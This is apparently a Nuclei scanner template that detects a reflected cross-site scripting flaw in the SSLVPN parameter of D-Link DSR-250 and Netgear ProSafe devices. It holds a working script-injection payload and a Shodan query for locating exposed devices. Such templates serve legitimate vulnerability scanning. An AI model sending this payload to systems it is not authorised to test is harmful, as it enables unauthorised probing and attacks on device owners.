id: dlink-netgear-xss

info:
  name: Dlink DSR-250 and Netgear Prosafe - Cross-Site Scripting
  author: gtrrnr,vulnspace
  severity: medium
  description: |
    Dlink DSR-250 and Netgear Prosafe are vulnerable to reflected cross site scripting endpoint scgi-bin/platform.cgi in parameter SSLVPN.
  reference:
    - https://www.encripto.no/forskning/whitepapers/Netgear_prosafe_advisory_june_2015.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"DSR-250"
  tags: xss,dlink,dsr250,netgear

http:
  - method: GET
    path:
      - '{{BaseURL}}/scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSLVPN"><script>alert(document.domain)</script>'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(response, "text/html")'
          - 'contains_any(body, "D-Link","Login.PortalName")'
          - 'contains(body, "value=\"SSLVPN\"><script>alert(document.domain)</script>")'
        condition: and
# digest: 490a0046304402200c6ee69f9aeb1d718849d42e571ff9bc311cfb8e9da9f2101eb92ae433810d4f0220221483ed2d48dac292cd4ce8f8eeae468519f551839561b0f7981298b6cde87e:922c64590222798bb761d5b6d8e72950